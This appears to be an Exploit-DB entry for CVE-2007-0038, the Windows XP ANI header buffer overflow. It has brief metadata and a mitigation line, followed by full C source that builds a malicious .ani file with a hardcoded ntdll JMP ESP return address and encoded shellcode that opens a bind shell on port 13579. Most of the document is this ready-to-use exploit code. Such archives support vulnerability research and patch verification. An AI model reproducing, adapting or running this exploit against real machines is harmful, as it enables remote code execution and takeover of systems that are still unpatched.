ANI Exploit

vendor:

Windows

by:

Breno Silva Pinto

CVSS

CRITICAL

Buffer Overflow

119

CWE

Product Name: Windows

Affected Version From: Windows

Affected Version To: Windows XP SP2

Patch Exists: YES

Related CWE: CVE-2007-0038

CPE: o:microsoft:windows

Metasploit: https://www.rapid7.com/db/vulnerabilities/linuxrpm-ELSA-2008-0038/

Other Scripts:

Platforms Tested: Windows XP SP2 - Portuguese

The exploit is a buffer overflow vulnerability in the ANI header parsing code in Microsoft Windows. It allows an attacker to execute arbitrary code on a target system by sending a specially crafted ANI file. The exploit includes a shellcode that creates a port bind shell on port 13579. The exploit has been tested on Windows XP SP2 - Portuguese.

Mitigation:

Apply the relevant security patches provided by Microsoft.

Source

Exploit-DB raw data:

/*
        .ANI exploit tested on Windows XP SP2 - Portuguese  
        Shellcode port bind 13579
        
        JMP ESP Addr  - ntdll.dll
        
        Greetz: Marsu, Devcode, Str0ke, Dave, Sekure.org guys, Sauna.
        
        
        Exploit coded listen sauna hits
                Featuring Luiz Zanardo's gigs "Minoide - \x52\x49\x46\x46\x00\x04\x00\x41" @ www.myspace.com/fuzzyproject
        
        Breno Silva Pinto
        bsilva[at]Sekure.org
*/




#include <stdio.h>
#include <stdlib.h>
#include <windows.h>


unsigned char aniheader[] =
"\x52\x49\x46\x46\x00\x04\x00\x00\x41\x43\x4F\x4E\x61\x6E\x69\x68"
"\x24\x00\x00\x00\x24\x00\x00\x00\xFF\xFF\x00\x00\x0A\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x10\x00\x00\x00\x01\x00\x00\x00\x54\x53\x49\x4C\x03\x00\x00\x00"
"\x10\x00\x00\x00\x54\x53\x49\x4C\x03\x00\x00\x00\x02\x02\x02\x02"
"\x61\x6E\x69\x68\xA8\x03\x00\x00";

unsigned char Shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x29\xc9\x83\xe9\xaf\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8f"
"\x35\x37\x85\x83\xeb\xfc\xe2\xf4\x73\x5f\xdc\xca\x67\xcc\xc8\x7a"
"\x70\x55\xbc\xe9\xab\x11\xbc\xc0\xb3\xbe\x4b\x80\xf7\x34\xd8\x0e"
"\xc0\x2d\xbc\xda\xaf\x34\xdc\x66\xbf\x7c\xbc\xb1\x04\x34\xd9\xb4"
"\x4f\xac\x9b\x01\x4f\x41\x30\x44\x45\x38\x36\x47\x64\xc1\x0c\xd1"
"\xab\x1d\x42\x66\x04\x6a\x13\x84\x64\x53\xbc\x89\xc4\xbe\x68\x99"
"\x8e\xde\x34\xa9\x04\xbc\x5b\xa1\x93\x54\xf4\xb4\x4f\x51\xbc\xc5"
"\xbf\xbe\x77\x89\x04\x45\x2b\x28\x04\x75\x3f\xdb\xe7\xbb\x79\x8b"
"\x63\x65\xc8\x53\xbe\xee\x51\xd6\xe9\x5d\x04\xb7\xe7\x42\x44\xb7"
"\xd0\x61\xc8\x55\xe7\xfe\xda\x79\xb4\x65\xc8\x53\xd0\xbc\xd2\xe3"
"\x0e\xd8\x3f\x87\xda\x5f\x35\x7a\x5f\x5d\xee\x8c\x7a\x98\x60\x7a"
"\x59\x66\x64\xd6\xdc\x66\x74\xd6\xcc\x66\xc8\x55\xe9\x5d\x02\x8e"
"\xe9\x66\xbe\x64\x1a\x5d\x93\x9f\xff\xf2\x60\x7a\x59\x5f\x27\xd4"
"\xda\xca\xe7\xed\x2b\x98\x19\x6c\xd8\xca\xe1\xd6\xda\xca\xe7\xed"
"\x6a\x7c\xb1\xcc\xd8\xca\xe1\xd5\xdb\x61\x62\x7a\x5f\xa6\x5f\x62"
"\xf6\xf3\x4e\xd2\x70\xe3\x62\x7a\x5f\x53\x5d\xe1\xe9\x5d\x54\xe8"
"\x06\xd0\x5d\xd5\xd6\x1c\xfb\x0c\x68\x5f\x73\x0c\x6d\x04\xf7\x76"
"\x25\xcb\x75\xa8\x71\x77\x1b\x16\x02\x4f\x0f\x2e\x24\x9e\x5f\xf7"
"\x71\x86\x21\x7a\xfa\x71\xc8\x53\xd4\x62\x65\xd4\xde\x64\x5d\x84"
"\xde\x64\x62\xd4\x70\xe5\x5f\x28\x56\x30\xf9\xd6\x70\xe3\x5d\x7a"
"\x70\x02\xc8\x55\x04\x62\xcb\x06\x4b\x51\xc8\x53\xdd\xca\xe7\xed"
"\xf1\xed\xd5\xf6\xdc\xca\xe1\x7a\x5f\x35\x37\x85";


int main( int argc, char **argv ) {
	char Buffer[1024];
	FILE *f;
    
	if ( argc < 2 ) {
        printf("usage %s <file.ani>\n",argv[0]);
		return 0;
	}

	memset( Buffer, 0x90, sizeof( Buffer ) );
	memcpy( Buffer, aniheader, sizeof( aniheader ) - 1 );

	memcpy( Buffer + 168, "\xed\x1e\x94\x7c", 4 );     // JMP ESP - NTDLL. Hey Dave ... this is for you brotha!
    memcpy( Buffer + 198, Shellcode, sizeof( Shellcode ) - 1 );
    

	f = fopen( argv[1], "wb" );
	if ( f == NULL ) {
		printf("Cannot create file\n");
		return 0;
	}

	fwrite(Buffer, 1, 1024, f);
	fclose(f);
	printf(".ANI file created!\n");
	return 0;
}

// milw0rm.com [2007-04-09]